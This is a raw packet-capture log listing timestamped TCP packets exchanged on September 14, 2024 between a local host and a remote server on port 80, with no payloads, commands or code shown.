Sep 14, 2024 18:44:10.151489019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151494026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151525974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151545048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151559114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151595116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151607037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151628971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151679039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151679993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151712894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151745081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151762009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151781082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151815891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151833057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151846886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151880026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151896000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151911020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151942015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151959896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151973963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152005911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152024984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.152039051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152072906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152101994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.152122021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152154922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152170897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.152193069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152230978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152244091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.152266979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152298927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152317047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.152332067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152364016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152383089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.152398109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.152445078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.199323893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.199362040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.199434996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.199469090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.199469090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.199501991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.199538946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.199573040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.199577093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.199599028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.199605942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.199649096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.200866938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.200902939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.200954914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.200962067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.200992107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201042891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201076031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201076984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.201108932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201127052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.201145887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201198101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.201673985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201709986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201747894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201778889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.201798916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201834917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201867104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.201869011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201908112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201916933 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.201941013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.201992989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241009951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241087914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241141081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241158009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241173983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241214991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241233110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241266966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241301060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241337061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241353035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241374969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241388083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241425991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241458893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241476059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241492033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241524935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241544008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241563082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241612911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241617918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241667032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241703033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241720915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241760015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241796017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241813898 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241849899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241883039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241903067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241914988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241951942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.241965055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.241986990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242034912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242038012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242070913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242101908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242119074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242137909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242171049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242188931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242224932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242276907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242280006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242315054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242383957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242392063 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242418051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242453098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242466927 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242492914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242527008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242544889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242562056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242613077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242614031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242650032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242685080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242702961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242722034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242770910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242774963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242825031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242856979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242883921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242888927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242928028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.242939949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.242963076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243000984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243011951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243037939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243077040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243089914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243110895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243145943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243168116 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243179083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243212938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243231058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243244886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243277073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243292093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243311882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243345976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243366957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243421078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243454933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243475914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243488073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243522882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243541956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243558884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243592024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243607044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243624926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243658066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243678093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243690968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243726015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243745089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243757963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243789911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243804932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243824005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243859053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243880033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243891001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243923903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243944883 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.243956089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.243989944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244020939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244023085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.244054079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244075060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.244086027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244138002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.244252920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244286060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244318962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244338036 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.244355917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244389057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244409084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.244421005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244452953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244472027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.244486094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244519949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244539022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.244553089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244586945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.244605064 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.287868023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.287940979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.287976980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.288001060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.288008928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.288047075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.288079977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.288094044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.288113117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.288141012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.288146973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.288158894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.289378881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.289412975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.289454937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.289468050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.289501905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.289525986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.289536953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.289572954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.289611101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.289627075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.289638996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.289669037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.290131092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.290164948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.290199041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.290199995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.290261984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.290301085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.290334940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.290374041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.290410042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.290452003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.290468931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.329415083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329452038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329504013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329540968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329580069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329615116 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.329631090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329663992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329703093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329719067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.329735994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329744101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.329766989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.329768896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329802990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329817057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.329839945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329883099 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.329957008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.329992056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330094099 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.330235958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330286980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330319881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330341101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.330410957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330444098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330461025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.330481052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330532074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330534935 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.330564976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330596924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330612898 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.330634117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330672026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330678940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.330724955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330771923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.330773115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330811024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330857038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.330861092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330892086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330919981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330933094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.330954075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.330992937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331003904 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331022024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331057072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331072092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331093073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331125021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331137896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331157923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331190109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331204891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331224918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331259012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331269026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331293106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331326008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331337929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331358910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331413031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331414938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331446886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331484079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331492901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331523895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331568003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331573963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331608057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331640005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331651926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331674099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331713915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331732035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331746101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331778049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331789970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.331815004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.331849098 CEST	80	49722	188.114.97.3	192.168.2.6
